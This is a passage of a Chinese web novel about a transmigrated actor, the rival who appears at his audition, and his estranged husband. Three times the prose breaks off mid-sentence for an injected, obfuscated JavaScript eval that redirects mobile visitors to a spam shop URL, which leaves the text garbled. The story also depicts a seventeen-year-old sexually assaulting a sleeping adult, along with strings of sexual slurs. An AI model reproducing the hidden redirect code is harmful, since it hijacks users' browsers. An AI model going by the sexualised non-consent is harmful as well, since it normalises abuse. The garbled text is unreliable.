柯祈安心头一动,立刻迎了上去,脸上瞬间切换成担忧和关切的表情,声音放得又轻又柔:“怎么了小文?结果……出来了吗?过了吗?”他明知故问,语气里充满了恰到好处的紧张。
苏尚文抬起头,看到他,像是找到了宣泄口,嘴唇哆嗦着,眼泪一下子就涌了出来,声音带着哭腔和难以置信:“没……没有……小安,我被淘汰了……连、连面试的机会都没有,直接初选就刷下来了……”
“什么?!这怎么可能?!”柯祈安立刻拔高了声音,脸上写满了“震惊”和“不平”,他一把扶住摇摇欲坠的苏尚文,语气愤慨,“你的条件那么好,台词也背得滚瓜烂熟,怎么可能连面试都进不去?这不合理啊!”
他一边说着,一边仔细观察着苏尚文的反应,见他已经完全被失落和委屈淹没,便适时地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124679|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、仿佛不经意般低声引导:“除非……是有人故意卡你……”
他顿了顿,像是想到了什么,压低声音,带着一丝“恍然大悟”和“小心翼翼”,“小文,你……你之前是不是不小心得罪过余老师?就是余赋秋老师?我好像听说……这次初选名单,他那边是有一定建议权的……”
他这话说得含糊,却像一颗毒种,瞬间在苏尚文简单的大脑里生根发芽。
苏尚文猛地抬起头,:“余,余老师,余赋秋……不可能,他还说没事,我也道歉了……”
“哎呀,小文,你怎么这么天真!”他皱着眉,一副“你太不懂人情世故”的样子,“余老师本人性格是好,当面当然会说‘没事’显得大度。但架不住他身边的人会嚼舌根啊!那些助理、经纪人,为了表忠心,或者为了显示自己多维护余老师,很可能就把你这事添油加醋地报上去了!”
他叹了口气,“余老师坐在那个位置上,每天那么多事,他哪里会事事亲自过问?肯定是听信了身边人的话,在他的立场上,为了维护团队的‘权威’或者避免‘不必要的麻烦’,才做出了这个……嗯,对他来说最‘合适’的选择吧。”柯祈安叹了口气,语气充满了理解和无奈,仿佛他多么体谅余赋秋的“难处”。
“唉,你也别太难过了。谁让我们没背景没靠山呢?虽然这个剧组规模不算顶大,但来头可不小。余老师是大明星,还是长太太,长秋集团的能量你又不是不知道。他那边递一句话,下面的人还不赶紧照办?我们这种小虾米,还不是任人拿捏?”
苏尚文死死攥着拳头,因为愤怒和伤心,身体微微发抖,原本清澈的眼睛里此刻充满了怨恨,他猛地抬起头,朝着余赋秋的方向,不管不顾地、用带着哭腔却异常尖锐的声音辱骂道:“余赋秋!你凭什么?!你个靠男人上位的玩意儿!仗着有点名气就欺负人!你算什么本事!卖屁.股的玩意儿!呸!恶心!”
“长得一副婊子样,除了会张开腿你还会什么?!演技烂得像屎,要不是长庭知捧着你,你他妈连给我舔鞋都不配!”
“表面上装得清高温柔,背地里尽干些下作勾当!你这种靠卖身上位的玩意儿,迟早烂死在阴沟里!”
他的骂声在走廊里回荡,引得零星几个路过的工作人员侧目,脸上露出惊愕和厌恶的神情。
柯祈安站在他身后,看着苏尚文彻底失控的丑态,听着那不堪入耳却句句戳向余赋秋痛处的辱骂,嘴角在无人看见的角度,抑制不住地向上扬起。
……
余赋秋坐在座位上,喝了口蜂蜜水,疲倦地揉了揉眉心,他给人写意见要非常的专注,去关注那个人的肌肉的力度、身体的走向,喉头的发声,语调的音调等等,这都巨大的精力。
“余老师,要不要休息?”
胡道元担忧地看着面色苍白的余赋秋。
余赋秋轻轻摇了摇头,指尖用力按了按发胀的太阳穴,勉强扬出一抹安抚性的笑容。今天是个特殊的日子——是他和长庭知之间不成文的规定,无论双方有多忙,晚上一定要回到他们共同的家,那是只属于他们两人的、秘密的纪念日。
他想赶紧把工作做完,回去去见长庭知。
一想到晚上能见到长庭知,即便那个“他”可能依旧冷漠,但能回到那个充满回忆的空间,似乎也能汲取到一丝微弱的力量。这么一想,连日来的烦闷心情和精神上的极度疲劳,仿佛一瞬间都变得无足轻重,被一股隐秘的期盼驱散了。
“继续吧。”他深吸一口气,声音虽然轻,却带着一丝不易察觉的急切。他想尽快完成工作,回到那个有“他”等待的地方。
胡导见状,也不好多劝,示意工作人员让下一位试镜者进来。
门被轻轻推开。
就在下一瞬间,余赋秋准备低头看简历的动作猛地僵住,瞳孔骤然收缩,
那人的目光礼貌地扫过在场的每一位评审,最后,那双清澈无辜、如同小鹿般的眼睛,精准地、不偏不倚地落在了余赋秋脸上,与他尚未从震惊中恢复的目光直直对上。
青年脸上的笑容似乎加深了些许,梨涡也更明显了,他清晰地吐出自己的名字:
“各位老师好——”
“我是柯祈安。”
——也是原书的主角受。
15. 第 15 章
“余老师,你……没事吧。”
胡道元的余光一直看着余赋秋,在眼前这个青年推门而入的时候,余赋秋的手猛然颤抖了一下,连带着拿着杯子的水都飞溅出来一些。
“我是来自表演系X班的柯祈安,这是我的后面更新的履历,以及获得的一些奖项,请各位老师过目。”
柯祈安把手上的资料一一递上去,在经过余赋秋的时候,他的动作停了下,从最下面抽出一张,“余老师您好,请您到时候给我一个宝贵的意见,谢谢您。”
态度恭敬,毫不出错。
余赋秋抿着唇,神色紧绷,看过小说原著的剧情一幕幕往眼前浮现过,他的心脏仿佛是被人用手紧紧捏着,要喘不上去了。
等柯祈安过去后,他才慢慢冷静下来,逐渐安抚自己急促的呼吸。
“……”
胡道元看着手上的资料和已经站在人群目光中央的青年,眉头轻轻蹙起。
他前面已经把这个人的资料夹在淘汰那一批人里面了,怎么会重新出现在这里?
“天哪,这个孩子真优秀啊……”
身边的学院讲师看着资料,赞赏道。
“他还是个大四的学生,自媒体已经有了几十万的粉丝,而且参加过很多大大小小的剧,虽然都不是什么主要的角色,但是都是一些出圈的角色啊。”
“就好像——”
“对啊,和余老师以前的出道经历好像啊。”胡道元身边的助理探头看了一眼,感叹道。
当初余赋秋接的第一个角色是在一个仙侠剧中当一个跑龙套的路人,穿着一身粗布麻衣,硬生生穿出了谪仙的味道,因此他的这个角色被人剪了出来,逐渐被人所熟知。
而柯祈安饰演的正是仙家剧中小弟子,乍一看,眉目神态有几分与余赋秋类似,也因此,他在自媒体上火爆了一把。
但他出身比余赋秋好太多。
出身B市,C国的首都,一路都是走的重点学校,艺考成绩全国第一。
余赋秋抿着唇,指尖有细微的颤抖,他的目光往下,在看到某个字眼的时候,用力咬下了自己的唇。
【履历:……曾在长安公司实习三个月,就职总裁秘书。】
而他填的时间,正是长庭知收购集团之后没几个月的时间,长秋公司被收购前叫做长安公司。
记忆如同不请自来的潮水,猛地将余赋秋淹没。
“球球,今天那个秘书好像你啊。”
长庭知低沉沙哑的嗓音,带着未散的情欲,如同魔咒般浮现在余赋秋的耳边。
那时候的他,正被长庭知紧紧抱着,炽热的身躯将他牢牢抵在微凉的墙壁上,强势而充满占有欲。
男人的吻细密地落下,从敏感泛红的耳畔,一路蜿蜒,流连到他修长脆弱的脖颈。
灼热的呼吸喷洒在他最细腻的肌肤上,激起一阵阵战栗。
余赋秋能清晰地感受到拥抱着自己的这具身体里蕴含的、为他而燃烧的热情,能看见长庭知那双狭长眼眸中,因他而起的、深沉迷离的醉意。
他像往常一样,沉溺在这份独属于他的亲密与宠爱里,直到那句话,如同细小的冰刺,猝不及防地扎了进来——
“他今天不小心打翻了咖啡,慌慌张张的,脸红得像桃子。”长庭知的唇贴着他的颈动脉,感受着其下急促的跳动,低笑着继续,“不过他好像知道我不喝咖啡,给我带了一杯奶茶,啧,也是我喜欢的那个口味,真奇怪。”
余赋秋的身体几不可查地僵硬了一瞬。
在这样肌肤相亲、呼吸交融的时刻,在他毫无防备地敞开自己,承受着对方爱意的时候……从他的爱人嘴里,听到了关于另一个人的、带着一丝新奇甚至……饶有兴味的描述。
“笨笨的,和你一样,”
长庭知似乎毫无所觉,或者说,他并不觉得这有什么不妥,他一边用牙齿不轻不重地磨蹭着余赋秋锁骨处敏感的皮肤,留下一个清晰的、宣告所有权般的红痕,一边用一种混合着宠溺和比较的口吻,吐出了最后那句如同凌迟的话:“真的是……可爱死了。”
长庭知依旧在他身上留下一个又一个滚烫的印记,动作甚至因为回忆而带上了一丝莫名的、更浓的兴味。
他被迫仰着头,承受着这份依旧激烈的亲密,眼神却有些空洞地望着天花板上模糊的光影。
余赋秋以为自己已经忘记了,他以为很多琐事的事情。
现在才逐渐反应了过来。
那段时间,长庭知经常在他的耳边提及他身边的秘书,可是这个人的名字像是迷雾一样,余赋秋即使听到过,但也全然忘记了。
直到他们重新遇见——
他们不是第一次相遇了?
剧情那时候就开始了?
那可是五年前。
这个想法如同刺一样深深刺入余赋秋的心脏,一股寒颤从脚底逐步攀沿上来。
柯祈安手抬起来,遮住了自己的神情,他从指尖的缝隙之中看到余赋秋的神情,满意地勾了勾唇角。
“那么,各位老师,我要开始表演了。”
他专门选择了这个剧本里面最难的部分,这个角色从高峰跌落谷底,情绪丰富多变,而表演者甚至要短短几秒内把情绪表演到位,还得记住富有爆发力的台词。
如果没有一定的基本功,是根本没有可能把握好这个度的。
柯祈安的表演结束后,全场寂静。
胡道元都愣神了一下。
“……这是一个大四学生的表演?”
全知惊叹了下,他是这个学校聘请的演员讲师,会在通告有空的时候来上课,他先是鼓掌了下,随即发出赞叹:“这真的是太棒了,柯……柯祈安,是吧。”
“除了台词功底有些薄弱之外,情绪的转变有些生硬之外,真是非常的棒啊,未来可期啊,柯同学。”
“……不愧是有‘小余赋秋’之称的人啊。”
助理感叹道。
余赋秋的指尖微不可见的蜷缩了下。
“余老师,怎么样?”
“我看就别选了,就定下他怎么样?”
全知微微歪头,带着笑意看着余赋秋,他指了指自己的表,“从下午一点开始,整整四个小时,有的学生还没讲几句就被您打断,您是给了很多宝贵的意见,可我们的时间就不是时间了?”
“难得有这么棒的演员,您还打算用什么利用去淘汰他呢?”
全知眼中带笑,但笑意未达眼底。
余赋秋低垂着眼眸,脑袋又开始阵阵发晕。
“全老师,好了好了,余老师肯定有他的考量……”
“……那么我来饰演一段,我认为的是这个角色吧。”
余赋秋淡淡抬眸,那张漂亮得近乎失真的脸上没有任何表情,仿佛覆盖着一层薄薄的冰霜。
长发被他利落地束
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124680|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在脑后,一丝不苟,完整地露出了线条流畅而精致的下颚,更凸显出一种疏离而专业的冷感。
当他结束表演时,试镜室内陷入了一片死寂。
在场的工作人员,甚至连呼吸都不自觉地放轻了,生怕一丝一毫的声响,都会惊扰了那个依旧沉浸在角色情绪中、低垂着眸、周身笼罩着破碎与悲伤美感的身影。
角落里,一个情感丰富的年轻场记甚至忍不住偷偷抹起了眼泪,还死死咬着嘴唇不敢发出声音。
绝对的实力面前,任何小花招都显得苍白可笑。
余赋秋缓缓抬起眼,目光平静地落在脸色微微发白的柯祈安身上,声音恢复了之前的清冷,如同玉石相击:“这个角色的情境,是经历了家族顷刻崩塌、父母双双去世的巨大打击后,才得知自己有一笔不菲的遗产。你刚才的表演,喜悦远大于失去至亲的悲痛。但请注意,这个角色前期是以‘孝顺’闻名,骨子里重情重义。你认为,在至亲尸骨未寒之时,巨额遗产带来的,会是纯粹的喜悦吗?这样的表演逻辑,你觉得可行吗?”
他的点评一针见血,专业而冷静,没有丝毫个人情绪,却字字如刀,将柯祈安那流于表面、甚至可能刻意模仿他以往脆弱风格却不得精髓的表演,批驳得体无完肤。
说完,余赋秋修长白皙的指尖拿起一旁的钢笔,在桌面的一张白纸上,行云流水地写上了几行字。
随即,他指尖轻轻一推,那张薄薄的白纸便如同被赋予了生命般,轻飘飘地滑过桌面,精准地落在了柯祈安的脚下。
柯祈安脸上的温婉笑容几乎快要维持不住,他慢慢弯腰,动作带着一丝不易察觉的僵硬,将那张纸捡了起来。
目光落在纸上的字迹时,他瞳孔猛地一缩,原本努力维持的漂亮脸蛋,控制不住地产生了一瞬间的扭曲,虽然极快恢复,但那骤变的脸色,已然泄露了他内心的惊涛骇浪与难堪。
只见白纸上,是余赋秋锋利又漂亮的字迹,只有简短的八个字,却如同最响亮的耳光,狠狠扇在了他的脸上:
【画皮难画骨】
【东施效颦】
柯祈安捏着纸张的手指,因为用力而指节泛白,微微颤抖。
“……谢谢余老师的指教。”
柯祈安忽然从口袋里面拿出了一个药膏,走到余赋秋的面前,将那个药膏推到余赋秋的面前,凑到他的耳边,嗓音温柔:“余老师的手背,想必很疼吧。”
余赋秋的身体颤抖了下,他手背上先前被长庭知洒出热水而烫伤的痕迹还没有消退,他带着手套,勉强可以遮住,连谭铃都不知道。
柯祈安怎么会知道?!
柯祈安轻笑了下:“你猜今晚,他会不会回家?”
余赋秋的瞳孔骤然紧缩,在他想要抓住柯祈安问清楚的时候,柯祈安只是往后退了一步。
“我看见余老师的腰先前闪了下,这是我家那边的药膏,感谢余老师的评价,这可是用蛇的皮做的,我们叫——画皮。”
“当然我这只是非常正宗的,外面买的都是假的,真的配方只有我们家有,所以余老师,如果好用的话我再多给您几只。”
柯祈安眉目弯弯,他的眉目之间有几分余赋秋的影子。
余赋秋呼吸急促起来,脑袋阵阵发晕。
就在这时候他接到一个电话。
是长庭知助理的号码。
“余,余哥,长总让您等等来公司一趟。”
16. 第 16 章
余赋秋没有再看柯祈安,只是收下了那个药膏,微微骇首,对他含笑致谢。
“希望你能有自己的一番作为,是吗,‘小余赋秋’。”
长发散落,零碎的头发扬起,蹭过柯祈安的脸颊,他咬着唇,偏偏心中的怒气又不能这时候显露出来。
“感谢教诲,余老师。”
余赋秋在坐上车的时候,脸色瞬间冷了下来,他双臂哆嗦着,将自己紧紧包裹住,拼命地咬住唇不让自己发出一点点声响。
真的来了……
剧情真的来了。
余赋秋忽然明白,他当初把从长庭知捡回家,其实自己也是有私心的,在和长庭知相处的过程,那种念头越发的强烈了。
——他想要取代主角受,成为长庭知身边的人。
十五年过去了,正当余赋秋都逐渐淡忘的时候。
在柯祈安一出现,他的目光就不受控制的黏附在他身上之际,余赋秋就明白了,原来,柯祈安是真正的主角受。
他忽然浑身发抖,仰着脑袋,去看这个他已经走过无数遍的路。
……
长庭知的公司总部,矗立在城市最繁华的地段,冰冷的玻璃幕墙反射着都市的喧嚣,也隔绝了许多的人情温度。
余赋秋站在一楼宽阔的大厅,光滑如镜的大理石地面映出他略显单薄的身影,空气中弥漫着昂贵香氛和中央空调系统运转的细微嗡鸣。
紧绷的神经在看到熟悉布置之际逐渐松懈了下来,他习惯性地走向那部需要特定权限才能抵达顶层的专属电梯。
——里面只录下了他和长庭知的指纹和面容id。
然而,当他像往常一样站在电梯感应区前面的时候,电梯却毫无反应,余赋秋微微一怔,轻轻蹙着眉,想着可能是自己站错了位置。
再次尝试,依旧如此,屏幕上只显示着一行冰冷的红字【权限无效。】
也许是刺耳的声音在大厅里过于显眼,前台小姐快步走了过来,再看见余赋秋的时候微微愣了一下,但很快回神,“抱歉,余先生,请问您有预约吗?”
余赋秋沉默了一下,摇了摇头。
他来这里,从来不需要预约。
前台小姐的笑容不变,声音依旧甜美,“抱歉,没有预约的话,除非是长先生吩咐过,否则我不能让您上去,也无法安排您与长总会面,长总今天的日程非常满,您可以现在大厅那边等候,或者您有急事,可以先在这里登记,我会为您上报,等待秘书处联系您确认具体的时间。”
上报?
等待联系确认?
余赋秋一人站在空旷的大厅,显的分外孤寂,他站在这里,仿佛一个无关紧要的,需要层层审批的商品。
他看了看那部紧闭的冰冷电梯,又看了看已经去忙其他的前台小姐,最终什么也没有说。
他没有争执,没有试图拨打那个已经烂熟于心变成空号的号码,也没有亮出没有任何意义长太太的身份。
他只是轻轻点了点头,喉咙有些发干,小声说:“……没关系。”
然后,他默默地转身,走向大厅角落的公共休息区。
他背脊习惯性地挺直,目光却有些空茫地落在窗外。
他的视线无意识地透过巨大的落地窗,望着公司外面的树,天色不知何时阴沉了下来,细细的雨丝开始飘落,给大树蒙上了一层湿润的雾气。
就在这时候,他的目光被大树下面的男生吸引了。
树下,站着一个穿着简单白T恤和牛仔裤的年轻男孩,看起来像是公司里的实习生,带着未脱的稚气。
他怀里紧紧抱着一把明显是女式的、带着碎花图案的雨伞,自己大半个身子却暴露在渐渐变大的雨水中,肩头的布料颜色明显深了一块。
他不住地踮脚眺望着办公楼出口的方向,眼神里充满了期盼和一丝不易察觉的紧张。
过了一会儿,一个穿着职业套装的年轻女孩小跑着从侧门出来,看到男孩,脸上立刻露出了带着嗔怪却又甜蜜的笑容。
男孩眼睛瞬间亮了,像看到了全世界最珍贵的宝物,他快步迎上去,第一时间将伞高高举起,几乎全部倾斜到女孩头顶,小心翼翼地护着她,完全不介意雨水打湿自己另一侧的肩膀。
女孩侧头对他说了句什么,似乎是在责怪他傻,不知道躲雨,男孩只是憨憨地挠头笑着,两人并肩,慢慢走入朦胧的雨幕,走向员工食堂的方向。
很简单、很平凡,甚至有些青涩的一幕。
曾几何时,长庭知也是这样。
在他还没有成名,为了他们的生计,在各个剧组奔波着饰演着小配角的时候,长庭知总是会在那一盏破旧的小房子门口,踮着脚,远远眺望着,等待他的归来。
但是有一回他手机快没电了,剧组外面下着暴雨,而且离家有一定的距离。
余赋秋看了看手机里的余额,沉默了很久,还是没舍得打车,打算等雨小点的时候,再走路回去。
剧组的同事一个个都被家人接走,或是开着车消失在雨幕中,片场外的停车场很快变得空空荡荡。最后,只剩下余赋秋一个人,还站在屋檐下,望着外面丝毫没有减弱迹象的暴雨。
雨水冰冷地溅湿了他的裤脚,带来刺骨的寒意。
他抿了抿有些发白的唇,心里盘算着,要不……还是回剧组那个堆放杂物的仓库角落吧?那里好像有一条不知道谁落下的、有点旧的小毛毯,蜷缩在那里,或许也能勉强熬过这个寒冷的夜晚。
就在他带着一身湿冷寒气,准备转身折返的时候——
一阵急促的、踏破雨幕的脚步声,混合着少年人特有的、带着喘息和焦急的呼喊,仿佛穿越了时空的壁垒,猛地撞进了他的耳朵。
“球球——”
余赋秋猛然转头,十七岁的长庭知,手里紧紧抱着一把雨伞,冰冷的雨水灌进胸口,单薄的校服早已经湿透,紧紧贴在身上,冷的刺骨,鞋子上全都是泥土,几十公里的路,长庭知就这样深一脚浅一脚地走着。
喉咙沙哑得几乎发不出声音,脸上分不清是雨水还是泪水。
“球球,你为什么……不回家?”
他的眼眸幽黑,仿佛是一个黑洞,即将要把余赋秋吞没,神色阴晴不定,“你想离开我?”
他轻声问。
在他话音刚落的时候,余赋秋一把将他抱进怀里,“外面雨这么大,你……”
“……”
长庭知的眼神逐渐清明过来,他把脸埋在余赋秋的颈窝,声音嘶哑破碎,带着后怕和哽咽,“球球,我找到你了,你不要离开我,不要不要我……我会很乖的,我都听你的话,萝卜和青椒我都吃完了,你还是没回家,我好害怕——”
“……对不起,我……外面雨太大了,我的手机没电了……”
余赋秋感知到衣襟被少年的泪水所模糊,他的心软成一滩水,安抚地拍了拍长庭知的肩膀,“乖,乖啊……我……爸爸在这里,不会离开你的。”
“……”长庭知听见这个词,勾了勾唇角,下一秒又落下泪来,抓着余赋秋的衣角:“……爸爸,不许再离开我了。”
这个夜晚,他们蜷缩再小小的仓库里相拥而眠,余赋秋睡得格外沉,没想到本该入睡的少年在这个时候悄然睁开了眼。
美人此刻安然的睡着,月光透过细小的缝隙投射在那白皙的肌肤上,长而卷翘的睫毛随着呼吸轻轻颤抖着,似一只偏飞的蝴蝶。
那张殷红的唇微微张开着,隐约可以看到里面安静躺着的粉嫩小舌,长庭知的眼眸沉了沉,一手将余赋秋的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124681|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腕交叠握住,摁在头顶,单手解开了他的衣服。
冰冷的空气触及到,在长庭知的眸光中挺.立了起来,他喉头滚动着,低声骂了一句:“果然是发.浪的身体,在这种情况下都能勾引我。”
“今天你为什么要和秦褚讲话?!难道看不到他那个吗,你还整个人凑到他的面前,不知道自己多勾人吗?!”
长庭知的语气里浸着隐忍的怒气,重重地在余赋秋的脖颈上咬了一口。
他咬在脖子一侧,感受到舌下传来温热的搏动,他的舌尖轻轻抚过那道齿痕——这里本就是余赋秋最敏感的地方。
余赋秋不自觉地偏过头,喉间溢出细碎的低吟,双腿微微蜷缩。
长庭知低笑一声,膝盖轻轻抵住他不安分的双腿,一手按住他的大腿。
布料在指间泛起细褶,底下的肌肤透出淡红。他抬手在那片肌肤上轻拍两下。
“又不听话了。”
“不乖。”
啪——
“我不在,就勾引别人。”
啪——
“还嘴硬不承认!”
他抵在余赋秋的小腹上,浓重的味道从单薄的布料中渗透出来。
他将余赋秋的双腿抱在小臂上,余赋秋整个人被他抱了起来,抵在冰冷的墙壁上,他的脑袋低垂着,发出细微的哼唧声。
“如果你没有扭着屁.股去勾引人家,人家为什么要莫名其妙的抱你。”
美人安静地沉睡着,那双漂亮的眸子合起来,此刻却惹的长庭知心头怒火,他狠狠地咬住那张粉唇,不断地摩梭着单薄的衣料,发出粘腻的声音。
“唔——”
余赋秋被迫扬弃脑袋,被迫接受长庭知的侵袭。
他被撬开牙关,长庭知的舌头卷起他安静的软舌,交缠着,口中的每一处都没有放过,甚至舌根有些发疼。
余赋秋下意识地伸出手,圈住长庭知,想要离开窒息的吻。
但下一秒,睡梦中的他下意识的发出一声娇柔的喘息。
长庭知狠狠捏着手中的软肉,再一次撬开了他的牙关,与他交换滤液。
平日里总是温润端庄的小脸,此刻全都是情.欲.淫.态.,汗珠带着清甜香气,从额头处滑落,滴落在他们交缠的舌上。
余赋秋的檀口无力地微张着,轻轻喘息,像一只脆弱的小兽,此刻他衣衫半解,裤子零碎地落在地上,整个人被长庭知垫抱着抵在怀中和墙壁之中。
脚踝精致,脚趾间透着圆润的粉,此刻微微蜷缩了起来,喉间发出细微的呜咽声。
而长庭知动作根本没听,好不容易放过了被亲的红肿的唇,又从脖颈处慢慢往下,到处留下自己的痕迹。
“球球……”
“球球……”
“我的球球。”
“你是我的。”
“别妄想逃走。”
再雷雨声中,他低声的长吼一声。
昏睡的美人身上满是青紫的吻痕,解开的衣服和白嫩的肌肤上全然是浑浊的水痕。
长庭知眸含爱意,轻轻撕咬着他的耳朵,“这可怎么办呢,在家里刚拿着你的衣服解决了一次,你怎么睡着都不安分,嗯?”
他的眼神扫过小腹,神情晦暗不明。
修长的指尖在肌肤上打着圈儿,感受身下的人儿萧索了下,发出一声细碎的呜咽。
他低低的笑了。
“球球……”
他的指尖轻轻蹭过他的脸颊,触感温软。
脑海里浮现出余赋秋捂着肚子,他眼眶泛红拉着他衣角哀求的模样。
长庭知一想到那个画面,深深吸了口气,压下心中的躁动。
他弯腰,在余赋秋的额头上留下一吻。
“乖点,宝贝。”
17. 第 17 章
“喂,余哥,你在哪儿呢?”秘书打了个电话过来,此刻已经是下午六点了,余赋秋面前的咖啡已经彻底冷了,他只是浅浅抿了一口,眼眸低垂着。
“在楼下。”余赋秋抿着唇道。
“嗯?你为什么不上来……”秘书那边忽然想到了什么,剩下的话音卡在喉咙里面:“抱歉,我忘了长总取消了您的权限。”
秘书赶忙下来将余赋秋接了上去,他一边弯着腰一遍道歉道:“长总要求我把您的权限删除的时候我很惊讶,也和长总说过,但是他……”
毕竟给他发工资的还是长庭知,他不敢反驳长庭知的命令,只能将这个保留了五年的权限给删除的彻彻底底。
“长总在里面等您,我先去忙了,余哥。”
秘书忽然想了想,从身后拿出一个保温盒,“这是谭铃给我的,是您先前煮好的汤,这几天长总不知道怎么了,吃什么都只吃一口,晚上也都睡在公司,我怕这样熬下去,长总的身体会垮掉,您是他的妻子,劝劝他。”
余赋秋拿着那个保温盒,抿着唇。
他要怎么和别人说,长庭知已经不是长庭知了,不是他的长庭知了呢?
占据着他爱人的身份,但却是另外的身份——
但为了不泄露,他还是接下了保温盒,笑道:“好,麻烦你了,你去忙吧。”
他慢慢推开那扇沉闷的大门。
在看见站在落地窗前,拿着文件夹的身影一瞬间。
他神情恍惚,这个他心心念念的,刻入了灵魂深处的脸出现在他的眼前,在静谧的办公室只剩下他们。
以前的身影和面前的身影逐渐重叠了起来。
门被慢慢关闭。
余赋秋抵在冰冷的门上,空气中名为‘长庭知’的养分弥漫着,而他像是一个即将枯萎的植物,只要一点点这个养分,他就可以拼命向上扎根。
一点点就好。
“球球——”
“我的球球呀——”
“生日快乐!我就知道你今天忘记是你的生日,也是我们相遇的第七白天!”
“宝宝宝宝,我好爱你呀,我怎么会这么爱你呢?”
“是我的的宝贝呀,我就要和全天下炫耀,我娶了世界上最最最好的余赋秋,这是我下媳妇!”
“球球,不生了,我们再也不生了好不好,好疼,为什么我不能替你疼呢?”
“看!这是我给你叠的千纸鹤!你最喜欢湖蓝色,我就去找了好多好多地方,找到了这个世界上最漂亮的湖蓝色!”
“球球,我们给孩子叫祈春,好不好?你是秋天,那么我们就一起等待着春天到来。”
“球球,等我这次回来,我们去D国看啤酒节,去R国看极光,去北极冰川滑皮艇,再去欧洲最高的山脉爬山,然后睡一晚嘿嘿,拍一个Vlog,羡慕死他们……”
“球球,我……”
画面忽然一转,以往带着温柔爱意的眼眸只余留无数的冰冷,无机质的黑眸直勾勾看着余赋秋。
“你是谁?”
“又是我包养的情人?”
“呵,想靠这个上位,你真是好手段啊。”
“你又不是女人,又不能替我养育后代,和你合作,对我有什么好处吗?”
“我的时间一分钟一百万,你能买得起几个?”
“你要用这个可笑的自我感动到什么时候?”
“我又不是同性恋,真恶心。”
“……”
他的鼻尖一酸,手中的保温盒哐当掉在地上。
他们的十五年,他们还有春春,这美好的时光如同镜中花水中月,被彻底的打破了。
他是小偷吗?
或许是吧。
按照剧情的时间线,长庭知和柯祈安早就应该在十五年前那个雨夜相遇,是他起了贪心,把长庭知留在自己的身边,去贪恋长庭知的温暖,想要成为长庭知的主角受。
为什么?
为什么这个时间不能再长一点?
他明明占据了长庭知最好的年华,人生能有个十五年呢?
为什么这个时间不能继续下去呢?
长庭知听见声音,慢慢地回头靠近余赋秋。
余赋秋再也忍不住,整个人扑到长庭知的怀抱中,嚎啕大哭起来,把自己蜷缩在长庭知的怀中,他所有的隐忍、所有的坚强,所有试图维持的提前,在这一刻倾然倒塌。
是,他在这个世界只是一个孤儿,他甚至没有初中的学历,他只是一个挂名在学校的成本。
是,他是一个精神病患者,在原来世界被最亲近的人送到精神病院,每天在很黑很黑的屋子里面被电击,被灌下很多很多的药,被迫注射很多很多的针。
是,他只是一个小偷,想要贪图留在长庭知身边的小偷。
可是他也很棒了。
一个人穿越到这个世界,他身上没有一点钱,只有一身精神病人的衣服,他是一个黑户,但他也在食不饱腹的日子里把长庭知从雨中捡回了家。
他很努力的在挣钱了,白天去戏场跑龙套,晚上去餐厅打工,就这样,他攒了钱,把长庭知送去了学校,他们从合租的二十人铺子中搬了出来。
买了一个很小很小破旧的,但是却足够遮风避雨的小屋子。
他真的很努力在往上走了。
他紧紧地抱着长庭知的怀抱,疯狂汲取独属于长庭知的温度。
“抱抱我……庭知。”
“我好想你,我真的……很努力了。”
“我真的……好想你。”
“庭知——”
他趴在长庭知的肩头,泪水打湿了长庭知的衣裳,长庭知僵硬着身子,文件夹掉落在地上,而散落出纸张上写着《……协议书》
声音嘶哑而破碎,充满了无尽的委屈,他泪眼摩挲,仰头索吻,这是他委屈到极致的时候,下意识的动作。
他仰头等了许久没有回应,泪水不断地从眼尾滑落。
“为什么不亲我,为什么……”
“庭知……连你也要抛弃我了吗……”
他哭的那样放肆,那样不管不顾,仿佛要将灵魂哭出来一般,他紧紧的抱着这个曾经给予他无线安全感和爱意的身躯,像是沙漠中寻找绿洲的旅人。
长庭知能清晰地感受到怀中人那崩溃、绝望的颤抖,滚烫的泪水渗透衣物,灼烧着他的肌肤。
理智告诉他应该推开这个人,让他签下协议书,给予钱财给他。
这个才是真的。
他长庭知一向是不会被感性所迁走的人。
爱情这种东西,于利益而言,只是一坨垃圾。
可是,为什么——
明明没有任何的记忆,心口处的疼痛却如同潮水般要将他淹没了?
身体的肌肉比他大脑更先一步思考,接住了这个扑进自己怀中的人。
心脏好痛,灵魂中有个声音告诉他,不要让他伤心,不能让他难过,他是我的信仰,是我的生命。
不可以的——
不可以的——
长秋集团的总裁不能是个感情用事的废物。
明明理智告诉他应该是这样的。
长庭知却控制不了自己,他挪动着僵硬的手臂,将怀中的人紧紧抱在怀里,低头,吻上那双他仿佛渴望了很久的红唇。
